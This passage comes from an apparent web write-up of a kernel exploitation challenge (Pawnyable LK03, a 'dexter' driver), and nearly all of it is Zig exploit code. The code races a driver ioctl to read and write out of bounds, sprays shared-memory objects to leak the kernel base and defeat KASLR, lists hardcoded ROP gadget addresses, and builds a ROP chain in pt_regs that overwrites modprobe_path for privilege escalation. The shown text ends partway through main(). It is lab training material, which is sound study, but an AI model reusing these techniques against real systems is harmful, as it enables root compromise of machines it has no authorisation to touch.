</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">raceIoctl</span>(fd<span style="color:#00d3d0">:</span> posix.fd_t, buf<span style="color:#00d3d0">:</span> []<span style="color:#6ae4b9">u8</span>, op<span style="color:#00d3d0">:</span> dexter_ioctl, req<span style="color:#00d3d0">:</span> <span style="color:#00d3d0">*</span>request_t, race_is_won<span style="color:#00d3d0">:</span> <span style="color:#00d3d0">*</span><span style="color:#6ae4b9">bool</span>) <span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a8a8a8">// read what&#39;s currently in filp-&gt;private_data.
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>    <span style="color:#b6a0ff">switch</span>(posix.<span style="color:#feacd0">errno</span>(linux.<span style="color:#feacd0">ioctl</span>(fd, <span style="color:#f78fe7">@intFromEnum</span>(dexter_ioctl.GET), <span style="color:#f78fe7">@intFromPtr</span>(<span style="color:#00d3d0">&amp;</span>request_t{ .ptr <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@ptrCast</span>(buf), .len <span style="color:#00d3d0">=</span> <span style="color:#00bcff">8</span> })))) {
</span></span><span style="display:flex;"><span>        .SUCCESS <span style="color:#00d3d0">=&gt;</span> {},
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">unreachable</span>,
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> pd_sentinel<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">8</span>]<span style="color:#6ae4b9">u8</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f78fe7">@memcpy</span>(<span style="color:#00d3d0">&amp;</span>pd_sentinel, buf[<span style="color:#00bcff">0</span>..<span style="color:#00bcff">8</span>]);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">inline</span> <span style="color:#b6a0ff">for</span> (<span style="color:#00bcff">0</span>..<span style="color:#00bcff">8</span>) <span style="color:#00d3d0">|</span>i<span style="color:#00d3d0">|</span> buf[i] <span style="color:#00d3d0">^=</span> <span style="color:#00bcff">0xff</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    outer<span style="color:#00d3d0">:</span> <span style="color:#b6a0ff">while</span> (<span style="color:#00bcff">true</span>) {
</span></span><span style="display:flex;"><span>        req.<span style="color:#00d3d0">*</span> <span style="color:#00d3d0">=</span> request_t{ .ptr <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@ptrCast</span>(buf), .len <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span> };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        std.Thread.<span style="color:#feacd0">yield</span>() <span style="color:#b6a0ff">catch</span> {};
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">const</span> err <span style="color:#00d3d0">=</span> linux.<span style="color:#feacd0">ioctl</span>(fd, <span style="color:#f78fe7">@intFromEnum</span>(op), <span style="color:#f78fe7">@intFromPtr</span>(req));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">switch</span> (posix.<span style="color:#feacd0">errno</span>(err)) {
</span></span><span style="display:flex;"><span>            .SUCCESS <span style="color:#00d3d0">=&gt;</span> {
</span></span><span style="display:flex;"><span>                <span style="color:#b6a0ff">switch</span> (op) {
</span></span><span style="display:flex;"><span>                    <span style="color:#a8a8a8">// if we succeeded in reading, pd_vanguard is in the start of buf
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>                    .GET <span style="color:#00d3d0">=&gt;</span> {
</span></span><span style="display:flex;"><span>                        <span style="color:#b6a0ff">if</span> (std.mem.<span style="color:#feacd0">eql</span>(<span style="color:#6ae4b9">u8</span>, buf[<span style="color:#00bcff">0</span>..<span style="color:#00bcff">8</span>], <span style="color:#00d3d0">&amp;</span>pd_sentinel)) <span style="color:#b6a0ff">break</span> <span style="color:#00d3d0">:</span>outer;
</span></span><span style="display:flex;"><span>                    },
</span></span><span style="display:flex;"><span>                    <span style="color:#a8a8a8">// if we succeeded in writing, pd_vanguard should no longer be the start of buf
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>                    .SET <span style="color:#00d3d0">=&gt;</span> {
</span></span><span style="display:flex;"><span>                        <span style="color:#b6a0ff">var</span> tmp<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">8</span>]<span style="color:#6ae4b9">u8</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>                        <span style="color:#b6a0ff">switch</span>(posix.<span style="color:#feacd0">errno</span>(linux.<span style="color:#feacd0">ioctl</span>(fd, <span style="color:#f78fe7">@intFromEnum</span>(dexter_ioctl.GET), <span style="color:#f78fe7">@intFromPtr</span>(<span style="color:#00d3d0">&amp;</span>request_t{ .ptr <span style="color:#00d3d0">=</span> <span style="color:#00d3d0">&amp;</span>tmp, .len <span style="color:#00d3d0">=</span> <span style="color:#00bcff">8</span> })))) {
</span></span><span style="display:flex;"><span>                            .SUCCESS <span style="color:#00d3d0">=&gt;</span> {},
</span></span><span style="display:flex;"><span>                            <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">unreachable</span>,
</span></span><span style="display:flex;"><span>                        }
</span></span><span style="display:flex;"><span>                        <span style="color:#b6a0ff">if</span> (<span style="color:#00d3d0">!</span>std.mem.<span style="color:#feacd0">eql</span>(<span style="color:#6ae4b9">u8</span>, tmp[<span style="color:#00bcff">0</span>..<span style="color:#00bcff">8</span>], <span style="color:#00d3d0">&amp;</span>pd_sentinel)) <span style="color:#b6a0ff">break</span> <span style="color:#00d3d0">:</span>outer;
</span></span><span style="display:flex;"><span>                    },
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>            .INVAL <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">continue</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> {},
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    std.log.<span style="color:#feacd0">info</span>(<span style="color:#79a8ff">&#34;Won the race&#34;</span>, .{});
</span></span><span style="display:flex;"><span>    race_is_won.<span style="color:#00d3d0">*</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">true</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">raceCorrupt</span>(dst<span style="color:#00d3d0">:</span> <span style="color:#00d3d0">*</span>request_t, len<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">usize</span>, are_we_there_yet<span style="color:#00d3d0">:</span> <span style="color:#00d3d0">*</span><span style="color:#6ae4b9">bool</span>) <span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">while</span> (<span style="color:#00d3d0">!</span>are_we_there_yet.<span style="color:#00d3d0">*</span>) {
</span></span><span style="display:flex;"><span>        std.Thread.<span style="color:#feacd0">sleep</span>(<span style="color:#00bcff">2</span>);
</span></span><span style="display:flex;"><span>        dst.<span style="color:#00d3d0">*</span>.len <span style="color:#00d3d0">=</span> len;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">overwrite</span>(fd<span style="color:#00d3d0">:</span> posix.fd_t, buf<span style="color:#00d3d0">:</span> []<span style="color:#6ae4b9">u8</span>) <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    std.debug.<span style="color:#feacd0">assert</span>(<span style="color:#b6a0ff">try</span> std.Thread.<span style="color:#feacd0">getCpuCount</span>() <span style="color:#00d3d0">&gt;</span> <span style="color:#00bcff">1</span>);
</span></span><span style="display:flex;"><span>    std.debug.<span style="color:#feacd0">assert</span>(buf.len <span style="color:#00d3d0">&gt;=</span> <span style="color:#00bcff">32</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> req<span style="color:#00d3d0">:</span> request_t <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> race_is_won <span style="color:#00d3d0">=</span> <span style="color:#00bcff">false</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> t1 <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> std.Thread.<span style="color:#feacd0">spawn</span>(.{}, raceIoctl, .{fd, buf, .SET, <span style="color:#00d3d0">&amp;</span>req, <span style="color:#00d3d0">&amp;</span>race_is_won});
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> t2 <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> std.Thread.<span style="color:#feacd0">spawn</span>(.{}, raceCorrupt, .{<span style="color:#00d3d0">&amp;</span>req, buf.len, <span style="color:#00d3d0">&amp;</span>race_is_won});
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">pinThreadToCore</span>(t1.<span style="color:#feacd0">getHandle</span>(), <span style="color:#00bcff">0</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">pinThreadToCore</span>(t2.<span style="color:#feacd0">getHandle</span>(), <span style="color:#00bcff">1</span>);
</span></span><span style="display:flex;"><span>    t1.<span style="color:#feacd0">join</span>();
</span></span><span style="display:flex;"><span>    t2.<span style="color:#feacd0">join</span>();
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">overread</span>(fd<span style="color:#00d3d0">:</span> posix.fd_t, buf<span style="color:#00d3d0">:</span> []<span style="color:#6ae4b9">u8</span>) <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    std.debug.<span style="color:#feacd0">assert</span>(<span style="color:#b6a0ff">try</span> std.Thread.<span style="color:#feacd0">getCpuCount</span>() <span style="color:#00d3d0">&gt;</span> <span style="color:#00bcff">1</span>);
</span></span><span style="display:flex;"><span>    std.debug.<span style="color:#feacd0">assert</span>(buf.len <span style="color:#00d3d0">&gt;=</span> <span style="color:#00bcff">32</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> req<span style="color:#00d3d0">:</span> request_t <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> race_is_won <span style="color:#00d3d0">=</span> <span style="color:#00bcff">false</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> t1 <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> std.Thread.<span style="color:#feacd0">spawn</span>(.{}, raceIoctl, .{fd, buf, .GET, <span style="color:#00d3d0">&amp;</span>req, <span style="color:#00d3d0">&amp;</span>race_is_won});
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> t2 <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> std.Thread.<span style="color:#feacd0">spawn</span>(.{}, raceCorrupt, .{<span style="color:#00d3d0">&amp;</span>req, buf.len, <span style="color:#00d3d0">&amp;</span>race_is_won});
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">pinThreadToCore</span>(t1.<span style="color:#feacd0">getHandle</span>(), <span style="color:#00bcff">0</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">pinThreadToCore</span>(t2.<span style="color:#feacd0">getHandle</span>(), <span style="color:#00bcff">1</span>);
</span></span><span style="display:flex;"><span>    t1.<span style="color:#feacd0">join</span>();
</span></span><span style="display:flex;"><span>    t2.<span style="color:#feacd0">join</span>();
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>

<p><a id="code-snippet--lk03-shm"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> shm_c <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@cImport</span>({
</span></span><span style="display:flex;"><span>    <span style="color:#f78fe7">@cInclude</span>(<span style="color:#79a8ff">&#34;sys/shm.h&#34;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#f78fe7">@cInclude</span>(<span style="color:#79a8ff">&#34;sys/ipc.h&#34;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#f78fe7">@cInclude</span>(<span style="color:#79a8ff">&#34;sys/types.h&#34;</span>);
</span></span><span style="display:flex;"><span>});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> ShmInfo <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">struct</span> {
</span></span><span style="display:flex;"><span>    segment<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">c_int</span>,
</span></span><span style="display:flex;"><span>    addr<span style="color:#00d3d0">:</span> <span style="color:#00d3d0">*</span><span style="color:#b6a0ff">const</span> anyopaque,
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">shmSpray</span>(shms<span style="color:#00d3d0">:</span> []ShmInfo) <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">for</span> (shms) <span style="color:#00d3d0">|*</span>shm<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">const</span> shmId <span style="color:#00d3d0">=</span> shm_c.<span style="color:#feacd0">shmget</span>(shm_c.IPC_PRIVATE, std.heap.page_size_min, shm_c.IPC_CREAT <span style="color:#00d3d0">|</span> <span style="color:#00bcff">0o666</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">switch</span> (posix.<span style="color:#feacd0">errno</span>(shmId)) {
</span></span><span style="display:flex;"><span>            .SUCCESS <span style="color:#00d3d0">=&gt;</span> {},
</span></span><span style="display:flex;"><span>            <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#00d3d0">|</span>err<span style="color:#00d3d0">|</span> <span style="color:#b6a0ff">return</span> posix.<span style="color:#feacd0">unexpectedErrno</span>(err),
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        shm.<span style="color:#00d3d0">*</span> <span style="color:#00d3d0">=</span> .{ .segment <span style="color:#00d3d0">=</span> shmId, .addr <span style="color:#00d3d0">=</span> shm_c.<span style="color:#feacd0">shmat</span>(shmId, <span style="color:#00bcff">null</span>, shm_c.SHM_RDONLY).<span style="color:#00d3d0">?</span> };
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">shmFree</span>(shms<span style="color:#00d3d0">:</span> []ShmInfo) <span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">for</span> (shms) <span style="color:#00d3d0">|</span>shm<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">switch</span> (posix.<span style="color:#feacd0">errno</span>(shm_c.<span style="color:#feacd0">shmctl</span>(shm.segment, shm_c.IPC_RMID, <span style="color:#00bcff">null</span>))) {
</span></span><span style="display:flex;"><span>            .SUCCESS <span style="color:#00d3d0">=&gt;</span> {},
</span></span><span style="display:flex;"><span>            <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#00d3d0">|</span>_<span style="color:#00d3d0">|</span> {},
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">switch</span> (posix.<span style="color:#feacd0">errno</span>(shm_c.<span style="color:#feacd0">shmdt</span>(shm.addr))) {
</span></span><span style="display:flex;"><span>            .SUCCESS <span style="color:#00d3d0">=&gt;</span> {},
</span></span><span style="display:flex;"><span>            <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#00d3d0">|</span>_<span style="color:#00d3d0">|</span> {},
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>

<p><a id="code-snippet--lk03-ropchain"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> ADD_RSP_0xb8_POP_R13_POP_R14_POP_R15_POP_RBP<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff811481c6</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> POP_RDX_POP_RSI_POP_RDI_POP_RBP<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff810012c1</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> POP_R10_POP_RBP<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff81384eec</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> ADD_ADDROF_RSI_RDX<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff81399ff3</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> SYSCALL_RETURN_VIA_SYSRET<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff818000fb</span>; <span style="color:#a8a8a8">// similar to but not exactly the same as KPTI_TRAMPOLINE
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span><span style="color:#b6a0ff">var</span> MODPROBE_PATH<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff81e37e60</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">inline</span> <span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">ropchain</span>(fd<span style="color:#00d3d0">:</span> posix.fd_t) <span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> modprobe_difference<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@bitCast</span>(<span style="color:#00d3d0">-</span><span style="color:#f78fe7">@as</span>(<span style="color:#6ae4b9">i64</span>, <span style="color:#f78fe7">@intCast</span>(std.mem.<span style="color:#feacd0">bytesToValue</span>(<span style="color:#6ae4b9">u64</span>, <span style="color:#79a8ff">&#34;/sbin/m&#34;</span>) <span style="color:#00d3d0">-</span> std.mem.<span style="color:#feacd0">bytesToValue</span>(<span style="color:#6ae4b9">u64</span>, <span style="color:#79a8ff">&#34;/tmp/x</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span>))));
</span></span><span style="display:flex;"><span>    <span style="color:#a8a8a8">// we don&#39;t control the return address (rcx) so this will segfault once we return to userspace (importantly, this will not cause a kernel panic)
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>    <span style="color:#a8a8a8">// when stuffing a ropchain in pt_regs this is an big advantage over commit_creds(&amp;init_cred), which requires a clean userspace return
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>    <span style="color:#b6a0ff">asm</span> <span style="color:#b6a0ff">volatile</span> (<span style="color:#79a8ff">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">:</span>
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">:</span> [_] <span style="color:#79a8ff">&#34;{r15}&#34;</span> (POP_RDX_POP_RSI_POP_RDI_POP_RBP),
</span></span><span style="display:flex;"><span>          [_] <span style="color:#79a8ff">&#34;{r14}&#34;</span> (modprobe_difference),
</span></span><span style="display:flex;"><span>          [_] <span style="color:#79a8ff">&#34;{r13}&#34;</span> (MODPROBE_PATH),
</span></span><span style="display:flex;"><span>          <span style="color:#a8a8a8">// [junk] &#34;{r12}&#34; (),
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>          [_] <span style="color:#79a8ff">&#34;{rbx}&#34;</span> (POP_R10_POP_RBP),
</span></span><span style="display:flex;"><span>          <span style="color:#a8a8a8">// [junk] &#34;{r10}&#34; (),
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>          [_] <span style="color:#79a8ff">&#34;{r9}&#34;</span> (ADD_ADDROF_RSI_RDX),
</span></span><span style="display:flex;"><span>          [_] <span style="color:#79a8ff">&#34;{r8}&#34;</span> (SYSCALL_RETURN_VIA_SYSRET),
</span></span><span style="display:flex;"><span>    );
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    _ <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@call</span>(.always_inline, linux.syscall3, .{ linux.SYS.lseek, <span style="color:#f78fe7">@as</span>(<span style="color:#6ae4b9">usize</span>, <span style="color:#f78fe7">@bitCast</span>(<span style="color:#f78fe7">@as</span>(<span style="color:#6ae4b9">isize</span>, fd))), <span style="color:#00bcff">1</span>, linux.SEEK.CUR });
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">adjust_offsets</span>(kaslr_offset<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span>) <span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> gadgets <span style="color:#00d3d0">=</span> <span style="color:#00d3d0">&amp;</span>[_]<span style="color:#00d3d0">*</span><span style="color:#6ae4b9">u64</span>{
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>ADD_RSP_0xb8_POP_R13_POP_R14_POP_R15_POP_RBP,
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>POP_RDX_POP_RSI_POP_RDI_POP_RBP,
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>POP_R10_POP_RBP,
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>ADD_ADDROF_RSI_RDX,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>SYSCALL_RETURN_VIA_SYSRET,
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>MODPROBE_PATH,
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">for</span> (gadgets) <span style="color:#00d3d0">|</span>g<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>        g.<span style="color:#00d3d0">*</span> <span style="color:#00d3d0">+=</span> kaslr_offset;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>

<p><a id="code-snippet--lk03-full"></a></p>





  
  
    

  
  
    
    
  

  
  
    
    
  

  
  
    
    
  

  
  
    
    
  

  
  
    
    
  

  
  
    





  

  

  

  

  





<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><a href="#code-snippet--pawnyable-lib">&lt;&lt;pawnyable-lib&gt;&gt;</a>
</span></span><span style="display:flex;"><span><a href="#code-snippet--lk03-types">&lt;&lt;lk03-types&gt;&gt;</a>
</span></span><span style="display:flex;"><span><a href="#code-snippet--lk03-race">&lt;&lt;lk03-race&gt;&gt;</a>
</span></span><span style="display:flex;"><span><a href="#code-snippet--lk03-shm">&lt;&lt;lk03-shm&gt;&gt;</a>
</span></span><span style="display:flex;"><span><a href="#code-snippet--lk03-ropchain">&lt;&lt;lk03-ropchain&gt;&gt;</a>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">spray</span>(fds<span style="color:#00d3d0">:</span> []posix.fd_t) <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">for</span> (<span style="color:#00bcff">0</span>..fds.len) <span style="color:#00d3d0">|</span>i<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>        fds[i] <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> posix.<span style="color:#feacd0">open</span>(<span style="color:#79a8ff">&#34;/proc/self/stat&#34;</span>, .{ .ACCMODE <span style="color:#00d3d0">=</span> .RDONLY }, <span style="color:#00bcff">0o660</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">pub</span> <span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">main</span>() <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> fd <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> posix.<span style="color:#feacd0">open</span>(<span style="color:#79a8ff">&#34;/dev/dexter&#34;</span>, .{ .ACCMODE <span style="color:#00d3d0">=</span> .RDWR }, <span style="color:#00bcff">0o660</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">defer</span> posix.<span style="color:#feacd0">close</span>(fd);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> shm_addrs<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">100</span>]ShmInfo <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">shmSpray</span>(<span style="color:#00d3d0">&amp;</span>shm_addrs);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> buf<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">32</span><span style="color:#00d3d0">+</span><span style="color:#00bcff">32</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">2</span>]<span style="color:#6ae4b9">u8</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">overread</span>(fd, <span style="color:#00d3d0">&amp;</span>buf);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> init_ipc_ns<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff81eb2c00</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> kaslr_offset <span style="color:#00d3d0">=</span> std.mem.<span style="color:#feacd0">readInt</span>(<span style="color:#6ae4b9">u64</span>, buf[buf.len<span style="color:#00d3d0">-</span><span style="color:#00bcff">32</span>..][<span style="color:#f78fe7">@offsetOf</span>(shm_file_data, <span style="color:#79a8ff">&#34;ns&#34;</span>)..][<span style="color:#00bcff">0</span>..<span style="color:#00bcff">8</span>], .little) <span style="color:#00d3d0">-</span> init_ipc_ns;
</span></span><span style="display:flex;"><span>    std.log.<span style="color:#feacd0">info</span>(<span style="color:#79a8ff">&#34;Kernel base at 0x{x}&#34;</span>, .{<span style="color:#00bcff">0xffffffff81000000</span> <span style="color:#00d3d0">+</span> kaslr_offset});
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">adjust_offsets</span>(kaslr_offset);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">shmFree</span>(<span style="color:#00d3d0">&amp;</span>shm_addrs);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> stat_fds<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">1000</span>]posix.fd_t <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">spray</span>(<span style="color:#00d3d0">&amp;</span>stat_fds);
